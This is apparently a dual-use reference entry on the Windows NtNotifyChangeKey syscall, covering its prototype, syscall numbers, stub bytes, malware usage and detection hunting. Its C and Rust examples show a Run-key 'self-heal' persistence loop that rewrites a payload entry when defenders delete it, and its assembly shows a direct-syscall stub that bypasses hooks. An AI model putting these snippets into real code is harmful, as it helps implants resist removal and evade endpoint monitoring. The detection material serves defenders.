NtNotifyChangeKey
Registers an asynchronous notification for changes to a registry key and (optionally) its subtree.
Prototype
NTSTATUS NtNotifyChangeKey( HANDLE KeyHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG CompletionFilter, BOOLEAN WatchTree, PVOID Buffer, ULONG BufferSize, BOOLEAN Asynchronous );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| KeyHandle | HANDLE | in | Handle to an open key opened with KEY_NOTIFY access. |
| Event | HANDLE | in | Optional event signalled on change. NULL when ApcRoutine or synchronous wait is used. |
| ApcRoutine | PIO_APC_ROUTINE | in | Optional user-mode APC routine invoked when the change fires. |
| ApcContext | PVOID | in | Context value passed to ApcRoutine. |
| IoStatusBlock | PIO_STATUS_BLOCK | out | Receives final status and Information bytes returned. |
| CompletionFilter | ULONG | in | Bitmask of REG_NOTIFY_CHANGE_* events to watch (NAME, ATTRIBUTES, LAST_SET, SECURITY). |
| WatchTree | BOOLEAN | in | If TRUE, also report changes anywhere in the subtree rooted at KeyHandle. |
| Buffer | PVOID | out | Optional buffer reserved for future expansion. Always pass NULL today. |
| BufferSize | ULONG | in | Size of Buffer in bytes. 0 when Buffer is NULL. |
| Asynchronous | BOOLEAN | in | If TRUE, the call returns STATUS_PENDING immediately; otherwise it blocks until a change fires. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x105 | win10-1507 |
| Win10 1607 | 0x10A | win10-1607 |
| Win10 1703 | 0x10E | win10-1703 |
| Win10 1709 | 0x110 | win10-1709 |
| Win10 1803 | 0x112 | win10-1803 |
| Win10 1809 | 0x113 | win10-1809 |
| Win10 1903 | 0x114 | win10-1903 |
| Win10 1909 | 0x114 | win10-1909 |
| Win10 2004 | 0x119 | win10-2004 |
| Win10 20H2 | 0x119 | win10-20h2 |
| Win10 21H1 | 0x119 | win10-21h1 |
| Win10 21H2 | 0x11A | win10-21h2 |
| Win10 22H2 | 0x11A | win10-22h2 |
| Win11 21H2 | 0x120 | win11-21h2 |
| Win11 22H2 | 0x121 | win11-22h2 |
| Win11 23H2 | 0x121 | win11-23h2 |
| Win11 24H2 | 0x123 | win11-24h2 |
| Server 2016 | 0x10A | winserver-2016 |
| Server 2019 | 0x113 | winserver-2019 |
| Server 2022 | 0x11F | winserver-2022 |
| Server 2025 | 0x123 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 23 01 00 00 mov eax, 0x123 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
NtNotifyChangeKey is the registry analogue of NtNotifyChangeDirectoryFile and the kernel implementation behind Win32 `RegNotifyChangeKeyValue`. The kernel allocates a CM_NOTIFY_BLOCK attached to the key's KCB and signals the supplied event / queues the APC the next time CmpNotifyChangeKey is reached during a CM_KEY_CONTROL_BLOCK mutation. Because the wait is one-shot, callers re-arm by calling NtNotifyChangeKey again from the APC body — this produces a recognizable "notify-loop" pattern in user-mode call stacks.
Common malware usage
Persistence-aware loaders register a notify on `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` (or the per-user `Image File Execution Options` tree) and *self-heal* the moment an EDR or sysadmin deletes the Run value — the APC fires, the implant re-writes the value, and the deletion appears to never have happened. The same primitive lets implants watch `HKLM\SYSTEM\CurrentControlSet\Services\<EDR>\Start` and react if a defender attempts to disable a competing service. Sysmon itself uses NtNotifyChangeKey internally to power Event IDs 12/13/14 (RegistryEvent), so the syscall's presence on the system is not by itself anomalous.
Detection opportunities
Hooking NtNotifyChangeKey from user-mode is straightforward but circumventable by direct syscalls. The high-signal detection is *correlated*: a Sysmon Event 13 (RegistryEvent ValueSet) re-creating a Run value milliseconds after Event 12 (DeleteValue) by the same image is a near-perfect indicator of notify-driven self-heal. Kernel telemetry: ETW Microsoft-Windows-Kernel-Registry emits RegistryNotify task events but is not enabled by default. EDRs that hook CmRegisterCallbackEx can observe the registration directly. From a hunt perspective, look for processes that have *long-running* handles to Run keys opened with KEY_NOTIFY — legitimate software rarely does this outside of Explorer and SCM.
Direct syscall examples
cRun-key self-heal loop
// Watch HKCU\...\Run and rewrite our value the moment it's deleted or modified.
HANDLE hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
HANDLE hKey; // already opened with KEY_NOTIFY | KEY_SET_VALUE
IO_STATUS_BLOCK iosb;
for (;;) {
NTSTATUS st = NtNotifyChangeKey(
hKey, hEvent, NULL, NULL, &iosb,
REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME,
FALSE, // WatchTree
NULL, 0, // Buffer / size — always NULL today
TRUE // Asynchronous
);
if (st != STATUS_PENDING) break;
WaitForSingleObject(hEvent, INFINITE);
// Re-write the value — appears as if the deletion was undone.
RegSetValueExW(hKey, L"Updater", 0, REG_SZ,
(BYTE*)g_payloadPath, (DWORD)((wcslen(g_payloadPath)+1)*2));
}asmx64 direct stub (Win11 24H2 SSN 0x123)
NtNotifyChangeKey PROC
mov r10, rcx
mov eax, 123h
syscall
ret
NtNotifyChangeKey ENDPrustAPC-driven re-arm via ntapi
// Cargo: ntapi = "0.4", windows-sys = "0.59"
unsafe extern "system" fn on_change(_apc_ctx: *mut c_void, iosb: *mut IO_STATUS_BLOCK, _r: u32) {
// APC fires in the registering thread when the key mutates.
rewrite_run_value();
rearm_watch();
}
unsafe fn arm_watch(h_key: HANDLE) {
let mut iosb = zeroed();
NtNotifyChangeKey(
h_key, null_mut(),
Some(on_change), null_mut(),
&mut iosb,
REG_NOTIFY_CHANGE_LAST_SET,
0, // WatchTree = FALSE
null_mut(), 0,
1, // Asynchronous = TRUE
);
}MITRE ATT&CK mappings
Last verified: 2026-05-20